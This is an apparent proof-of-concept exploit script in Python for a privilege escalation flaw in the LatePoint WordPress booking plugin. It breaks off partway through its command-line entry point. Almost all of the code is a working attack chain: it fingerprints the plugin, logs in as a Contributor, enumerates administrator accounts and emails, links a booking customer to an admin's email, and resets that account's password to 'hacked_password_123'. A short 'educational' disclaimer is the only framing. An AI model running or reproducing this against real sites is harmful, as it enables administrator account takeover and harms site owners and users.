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| #!/usr/bin/env python3
"""
CVE-2026-49083 LatePoint Calendar Booking Plugin Privilege Escalation Exploit
CVSS: 8.8 (High)
Authenticated privilege escalation vulnerability in LatePoint plugin versions
up to and including 5.5.1. Allows Contributor-level users to escalate to
Administrator by exploiting insufficient role validation in customer-to-WordPress
user linking logic.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup
class LatePointPrivEscExploit:
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.plugin_detected = False
self.vulnerable_version = False
self.nonce = None
self.authenticated = False
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def detect_plugin(self):
"""Detect if LatePoint plugin is installed"""
self.log("Detecting LatePoint Calendar Booking plugin...")
try:
# Check common plugin paths
plugin_paths = [
'/wp-content/plugins/latepoint/',
'/wp-content/plugins/latepoint-calendar/',
'/wp-content/plugins/calendar-booking-latepoint/'
]
for path in plugin_paths:
url = urljoin(self.target_url, path + 'latepoint.php')
resp = self.session.head(url, timeout=10)
if resp.status_code == 200:
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
# Try to detect via readme.txt
for path in plugin_paths:
url = urljoin(self.target_url, path + 'readme.txt')
resp = self.session.get(url, timeout=10)
if resp.status_code == 200 and 'latepoint' in resp.text.lower():
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
self.log("Plugin not detected via direct paths", "ERROR")
return False
except Exception as e:
self.log(f"Error detecting plugin: {e}")
return False
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking vulnerability status...")
try:
# Try to access the plugin's main file
plugin_file = urljoin(self.target_url, '/wp-content/plugins/latepoint/latepoint.php')
resp = self.session.get(plugin_file, timeout=10)
if resp.status_code == 200:
# Check version
version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
if version_match:
version = version_match.group(1)
self.log(f"Plugin version: {version}", "INFO")
# Check if vulnerable (<=5.5.1)
version_parts = version.split('.')
if len(version_parts) >= 3:
try:
major = int(version_parts[0])
minor = int(version_parts[1])
patch = int(version_parts[2])
if major < 5 or (major == 5 and minor < 5) or (major == 5 and minor == 5 and patch <= 1):
self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
self.vulnerable_version = True
return True
else:
self.log(f"Version {version} appears patched", "ERROR")
return False
except ValueError:
pass
self.log("Could not determine vulnerability status", "ERROR")
return False
except Exception as e:
self.log(f"Error checking vulnerability: {e}")
return False
def login(self, username, password):
"""Authenticate as a Contributor user"""
self.log(f"Attempting to login as: {username}...")
try:
login_url = urljoin(self.target_url, '/wp-login.php')
# Get login page to extract any nonce
resp = self.session.get(login_url, timeout=10)
# Perform login
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': urljoin(self.target_url, '/wp-admin/'),
'testcookie': '1'
}
resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=False)
if resp.status_code in [302, 303] or 'wp-admin' in resp.headers.get('Location', ''):
self.log(f"Successfully logged in as {username}", "SUCCESS")
self.authenticated = True
return True
else:
self.log(f"Login failed for {username}", "ERROR")
return False
except Exception as e:
self.log(f"Error during login: {e}", "ERROR")
return False
def get_nonce(self):
"""Get AJAX nonce for LatePoint actions"""
self.log("Retrieving AJAX nonce...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Try to get nonce via AJAX
data = {
'action': 'latepoint_get_nonce'
}
resp = self.session.post(ajax_url, data=data, timeout=10)
if resp.status_code == 200:
try:
response_data = resp.json()
if 'nonce' in response_data:
self.nonce = response_data['nonce']
self.log(f"Obtained nonce: {self.nonce}", "SUCCESS")
return self.nonce
except:
pass
# Try to extract nonce from admin page
admin_url = urljoin(self.target_url, '/wp-admin/')
resp = self.session.get(admin_url, timeout=10)
nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text)
if nonce_match:
self.nonce = nonce_match.group(1)
self.log(f"Obtained nonce from admin page: {self.nonce}", "SUCCESS")
return self.nonce
self.log("Could not retrieve nonce", "ERROR")
return None
except Exception as e:
self.log(f"Error retrieving nonce: {e}")
return None
def get_admin_users(self):
"""Enumerate WordPress admin users"""
self.log("Enumerating WordPress admin users...")
admin_users = []
try:
# Try REST API
api_url = urljoin(self.target_url, '/wp-json/wp/v2/users')
resp = self.session.get(api_url, timeout=10)
if resp.status_code == 200:
try:
users = resp.json()
for user in users:
if 'administrator' in user.get('roles', []):
admin_users.append({
'id': user.get('id'),
'username': user.get('username'),
'name': user.get('name'),
'email': user.get('email')
})
self.log(f"Found admin: {user.get('username')} ({user.get('email')})", "INFO")
except:
pass
return admin_users
except Exception as e:
self.log(f"Error enumerating users: {e}")
return admin_users
def create_customer_with_admin_email(self, admin_email, service_id=1, agent_id=1):
"""Create a LatePoint customer record linked to admin email"""
self.log(f"Creating customer record with admin email: {admin_email}...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Prepare booking data
booking_data = {
'action': 'latepoint_process_booking',
'nonce': self.nonce,
'booking[customer][first_name]': 'Exploit',
'booking[customer][last_name]': 'User',
'booking[customer][email]': admin_email,
'booking[service_id]': str(service_id),
'booking[agent_id]': str(agent_id),
'booking[start_date]': '2026-07-01',
'booking[start_time]': '10:00',
'booking[location_id]': '1'
}
resp = self.session.post(ajax_url, data=booking_data, timeout=15)
if resp.status_code == 200:
self.log("Customer creation request sent", "SUCCESS")
self.log(f"Response: {resp.text[:200]}", "INFO")
return True
else:
self.log(f"Customer creation failed: {resp.status_code}", "ERROR")
return False
except Exception as e:
self.log(f"Error creating customer: {e}", "ERROR")
return False
def update_customer_password(self, customer_id, new_password):
"""Update customer password (which updates linked WP user password)"""
self.log(f"Updating customer {customer_id} password...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
update_data = {
'action': 'latepoint_update_customer',
'nonce': self.nonce,
'customer_id': str(customer_id),
'password': new_password
}
resp = self.session.post(ajax_url, data=update_data, timeout=15)
if resp.status_code == 200:
self.log("Password update request sent", "SUCCESS")
self.log(f"Response: {resp.text[:200]}", "INFO")
return True
else:
self.log(f"Password update failed: {resp.status_code}", "ERROR")
return False
except Exception as e:
self.log(f"Error updating password: {e}", "ERROR")
return False
def get_customers(self):
"""Get list of customers"""
self.log("Retrieving customer list...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
data = {
'action': 'latepoint_get_customers',
'nonce': self.nonce
}
resp = self.session.post(ajax_url, data=data, timeout=10)
if resp.status_code == 200:
try:
customers = resp.json()
self.log(f"Retrieved {len(customers)} customers", "INFO")
return customers
except:
return []
return []
except Exception as e:
self.log(f"Error retrieving customers: {e}")
return []
def exploit(self, contributor_username, contributor_password, admin_email):
"""Execute full privilege escalation exploit"""
print("\n" + "="*70)
print("CVE-2026-49083 LatePoint Privilege Escalation")
print("="*70 + "\n")
# Step 1: Detect plugin
if not self.detect_plugin():
self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
return False
# Step 2: Check vulnerability
if not self.check_vulnerability():
self.log("Target does not appear to be vulnerable", "ERROR")
return False
# Step 3: Login as Contributor
if not self.login(contributor_username, contributor_password):
self.log("Failed to authenticate", "ERROR")
return False
# Step 4: Get nonce
if not self.get_nonce():
self.log("Failed to retrieve nonce", "ERROR")
return False
# Step 5: Create customer with admin email
if not self.create_customer_with_admin_email(admin_email):
self.log("Failed to create customer", "ERROR")
return False
time.sleep(2)
# Step 6: Get customers and find the one linked to admin
customers = self.get_customers()
admin_customer = None
for customer in customers:
if customer.get('email') == admin_email:
admin_customer = customer
self.log(f"Found customer linked to admin: ID {customer.get('id')}", "SUCCESS")
break
if not admin_customer:
self.log("Could not find customer linked to admin email", "ERROR")
return False
# Step 7: Update customer password (escalates to admin)
new_password = "hacked_password_123"
if not self.update_customer_password(admin_customer.get('id'), new_password):
self.log("Failed to update customer password", "ERROR")
return False
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Plugin: LatePoint Calendar Booking")
print(f"Attacker: {contributor_username} (Contributor)")
print(f"Target Admin: {admin_email}")
print(f"New Admin Password: {new_password}")
print(f"\nPrivilege Escalation Complete!")
print(f"You can now login as administrator with:")
print(f" Email: {admin_email}")
print(f" Password: {new_password}")
print("="*70 + "\n")
return True
class LatePointEnumerator:
"""Enumerate LatePoint plugin configuration"""
def __init__(self, target_url, session):
self.target_url = target_url.rstrip('/')
self.session = session
def get_services(self):
"""Get available services"""
services = []
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
data = {'action': 'latepoint_get_services'}
resp = self.session.post(ajax_url, data=data, timeout=10)
if resp.status_code == 200:
try:
services = resp.json()
except:
pass
except:
pass
return services
def get_agents(self):
"""Get available agents"""
agents = []
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
data = {'action': 'latepoint_get_agents'}
resp = self.session.post(ajax_url, data=data, timeout=10)
if resp.status_code == 200:
try:
agents = resp.json()
except:
pass
except:
pass
return agents
def get_locations(self):
"""Get available locations"""
locations = []
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
data = {'action': 'latepoint_get_locations'}
resp = self.session.post(ajax_url, data=data, timeout=10)
if resp.status_code == 200:
try:
locations = resp.json()
except:
pass
except:
pass
return locations
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-49083 LatePoint Privilege Escalation Exploit'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-u', '--username', required=True, help='Contributor username')
parser.add_argument('-p', '--password', required=True, help='Contributor password')
parser.add_argument('-e', '--email', required=True, help='Target admin email to takeover')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--detect', action='store_true', help='Detect plugin only')
parser.add_argument('--check', action='store_true', help='Check vulnerability only')
parser.add_argument('--enumerate', action='store_true', help='Enumerate plugin configuration')
args = parser.parse_args()
# Create exploit instance
exploit = LatePointPrivEscExploit(args.target, verbose=args.verbose)
# Detect only
if args.detect:
if exploit.detect_plugin():
print("[+] Plugin detected!")
else:
print("[-] Plugin not detected")
sys.exit(0)
# Check vulnerability
if args.check:
if exploit.check_vulnerability():
print("[+] Target is vulnerable!")
else:
print("[-] Target does not appear vulnerable")
sys.exit(0)
# Enumerate configuration
if args.enumerate:
if not exploit.login(args.username, args.password):
print("[-] Failed to authenticate")
sys.exit(1)
enumerator = LatePointEnumerator(args.target, exploit.session)
services = enumerator.get_services()
print(f"\n[+] Found {len(services)} services:")
for service in services:
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